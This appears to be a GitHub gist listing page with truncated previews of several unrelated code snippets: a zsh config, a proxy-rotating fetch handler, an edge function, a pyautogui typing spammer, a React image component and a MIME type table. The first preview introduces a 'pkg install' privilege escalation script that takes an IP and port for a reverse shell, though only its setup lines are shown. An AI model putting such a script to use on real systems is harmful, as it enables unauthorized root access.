# pkg install * | privilege escalation | by rishi23jain
### TAKES 2 ARGS IP AND PORT FOR REVERSE SHELL
baseDIR=/tmp/exploiter
# clear and make temp dir
rm -fr $baseDIR
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# If you come from bash you might have to change your $PATH. | |
# export PATH=$HOME/bin:/usr/local/bin:$PATH | |
# Path to your oh-my-zsh installation. | |
export ZSH="$HOME/.oh-my-zsh" | |
# Set name of the theme to load --- if set to "random", it will | |
# load a random theme each time oh-my-zsh is loaded, in which case, | |
# to know which specific one was loaded, run: echo $RANDOM_THEME | |
# See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import fetch from "node-fetch"; | |
import { HttpsProxyAgent } from "https-proxy-agent"; | |
import { ProxieProvider } from "./proxies.js"; | |
import logger from "./logger.js"; | |
export async function fetchHandler(target, options = {}, proxy = {}, retry = 0) { | |
// fetch handeler - | |
// retry with different proxy and with no proxy | |
// log the request and response |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { Inputs } from "@/types/builder"; | |
import { PdfToSchema } from "@/utils/openai/util"; | |
export const runtime = 'edge'; | |
function streamTillPromise(cb: Promise<any>) { | |
var isResolved = false; | |
const results = cb.then((data: any) => { | |
isResolved = true; | |
console.log('[resolved]'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from time import sleep as nap | |
import pyautogui | |
print('sleeping for 2 sec, put you cursor on input Field') | |
nap(2) | |
def spam(text): | |
pyautogui.write(f'{text}\n') | |
spam("Run!") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { useState, Suspense } from 'react'; | |
import CircularProgress from '@material-ui/core/CircularProgress'; | |
export default function Image({ src, alt }) { | |
const [isloaded, setIsloaded] = useState(false); | |
return ( | |
<> | |
<img | |
className={isloaded ? "ImageItself " : "displayNone"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const ContentTypes = { | |
"TXT": "text/plain", | |
"HTM": "text/html", | |
"TIFF": "image/tiff", | |
"TMP": "application/octet-stream", | |
"TOAST": "application/octet-stream", | |
"TORRENT": "application/x-bittorrent", | |
"TTF": "application/x-font-ttf", | |
"UUE": "application/octet-stream", | |
"VCD": "application/x-cdlink", |